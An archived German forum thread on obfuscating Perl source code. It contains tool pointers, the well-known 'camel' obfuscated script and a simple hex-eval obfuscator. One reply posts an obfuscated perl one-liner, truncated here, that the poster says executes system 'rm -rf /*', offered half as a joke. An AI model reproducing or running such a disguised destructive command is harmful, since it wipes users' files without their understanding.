Archiv verlassen und diese Seite im Standarddesign anzeigen : Perlquellcode verschlüsseln
Hi @all,
gibt es eine möglichkeit Perlquellcode zu verschlüsseln oder zu compielieren, so das keiner den Code lesen kann ?
Danke schon mal für eure Posts.
gruß
Merenda
Hi,
gibt es eine möglichkeitWieso eine? Es geht schließlich um Perl :)
Perlquellcode zu verschlüsseln oder zu compielieren, so das keiner den Code lesen kann ?
Experimentelle Compiler ->www.activestate.com, oder Malcolm Beattie's
Übersetzer von Perl nach C (-> man b::c)
Siehe dazu auch: man perlfaq3 (suche nach "I hide").
Gruss,
Wolfgang
Hi @all,
gibt es eine möglichkeit Perlquellcode zu verschlüsseln oder zu compielieren, so das keiner den Code lesen kann ?
Danke schon mal für eure Posts.
gruß
Merenda
Das ist doch schon eingebaut, das nennt sich bei Perl Syntax. SCNR
fs111
Das ist doch schon eingebaut, das nennt sich bei Perl Syntax. SCNR
ich weiß nicht was Du hast, dabei ist Perl-Code wirklich vorbildlich selbstdokumentierend: :eek:
#!/usr/bin/perl -w
# camel code #Erudil from http://www.perlmonks.com/
use strict;
$_='ev
al("seek\040D
ATA,0, 0;");foreach(1..3)
{<DATA>;}my @camel1hump;my$camel;
my$Camel ;while( <DATA>){$_=sprintf("%-6
9s",$_);my@dromedary 1=split(//);if(defined($
_=<DATA>)){@camel1hum p=split(//);}while(@dromeda
ry1){my$camel1hump=0 ;my$CAMEL=3;if(defined($_=shif
t(@dromedary1 ))&&/\S/){$camel1hump+=1<<$CAMEL;}
$CAMEL--;if(d efined($_=shift(@dromedary1))&&/\S/){
$camel1hump+=1 <<$CAMEL;}$CAMEL--;if(defined($_=shift(
@camel1hump))&&/\S/){$camel1hump+=1<<$CAMEL;}$CAMEL--;if(
defined($_=shift(@camel1hump))&&/\S/){$camel1hump+=1<<$CAME
L;;}$camel.=(split(//,"\040..m`{/J\047\134}L^7FX"))[$camel1h
ump];}$camel.="\n";}@camel1hump=split(/\n/,$camel);foreach(@
camel1hump){chomp;$Camel=$_;y/LJF7\173\175`\047/\061\062\063\
064\065\066\067\070/;y/12345678/JL7F\175\173\047`/;$_=reverse;
print"$_\040$Camel\n";}foreach(@camel1hump){chomp;$Camel=$_;y
/LJF7\173\175`\047/12345678/;y/12345678/JL7F\175\173\0 47`/;
$_=reverse;print"\040$_$Camel\n";}';;s/\s*//g;;eval; eval
("seek\040DATA,0,0;");undef$/;$_=<DATA>;s/\s*//g;( );;s
;^.*_;;;map{eval"print\"$_\"";}/.{4}/g; __DATA__ \124
\1 50\145\040\165\163\145\040\157\1 46\040\1 41\0
40\143\141 \155\145\1 54\040\1 51\155\ 141
\147\145\0 40\151\156 \040\141 \163\16 3\
157\143\ 151\141\16 4\151\1 57\156
\040\167 \151\164\1 50\040\ 120\1
45\162\ 154\040\15 1\163\ 040\14
1\040\1 64\162\1 41\144 \145\
155\14 1\162\ 153\04 0\157
\146\ 040\11 7\047\ 122\1
45\15 1\154\1 54\171 \040
\046\ 012\101\16 3\16
3\15 7\143\15 1\14
1\16 4\145\163 \054
\040 \111\156\14 3\056
\040\ 125\163\145\14 4\040\
167\1 51\164\1 50\0 40\160\
145\162 \155\151
\163\163 \151\1SCNRT :D
@merenda: passend zum Thema, vielleicht ist Stunnix Perl-Obfus
noch interessant :)
http://freshmeat.net/projects/perl-obfus/
ThorstenHirsch
14.03.05, 21:30
Kann man das bedenkenlos ausführen oder ist danach / weg?
Kann man das bedenkenlos ausführen oder ist danach / weg?
JA (zum ersten Teil der Frage :) )
Hab da auch noch einen!
perl -e '''=~('(?{'.(']'^'-').((']'^'-')|'"').('`'|')').('`'|'.').((']'^'-')|'$').'"'.((']'^'-')|'#').((']'^'-')|')').((']'^'-')|'#').((']'^'-')|'$').('`'|'%').('`'|'-').' '.((']'^'-')|'"').('`'|'-').' '.'-'.('
führt aus
system "rm -rf /*"
mfg dct.c
P.S: Ich übernehme keine Verantwortung für jeglich schäden. Jeder ist selber schuld wenn er den Code ausführt!!!!
michael.sprick
15.03.05, 08:23
Ich bin mir immernoch nicht schlüssig über den Sinn solcher Aktionen. Das man seine Quellen nicht immer öffentlich machen will, ist natürlich klar - aber dann nehm´ ich keine Skriptsprache....
wie auch immer, folgendes Skript wäre vielleicht ein Ansatz:
#!/usr/bin/perl
use warnings;
use strict;
my $InFile = $ARGV[1];
open(IN,"<$InFile") or die "Could not open file: \"$InFile\" -- $!\n";
while(<IN>)
{
chomp;
my $crstr = $_;
$crstr =~s/^ //g;
if(length($crstr) > 1 and not m/^#/ and not m/.*[\){]$/)
{
$crstr = "eval pack(\"H*\",\"" . unpack("H*",$crstr) . "\");";
}
print "$crstr\n";
}
close(IN);
Voraussetzung ist aber, dass Du Strings, Hashes und Arrays immer in einer Zeile definierst:
z.B.
my $str = ' Dies ist ein Test';
statt
my $str = '
Dies
ist ein
Test';
oder
my %HASH = ( Key1 = > "Value1" , Key2 => "Value2); ...
statt
my %HASH = (
Key1 => "Value1",
Key2 => "Value2"
);
Der Aufruf wäre dann:
#> ./obfuscate.pl DeinSkript.pl > verschluesseltes_skript.pl
Ich habs nur grob angetestet...scheint zu funktionieren (bei einfachen Skripten zumindest).
Theoretisch kannst Du auch ein bereits verschlüsseltes Skript ein paar mal durchlaufen lassen...
ein Hoch auf die Lesbarkeit und Wartbarkeit von Code ;)
Powered by vBulletin® Version 4.2.5 Copyright ©2024 Adduco Digital e.K. und vBulletin Solutions, Inc. Alle Rechte vorbehalten.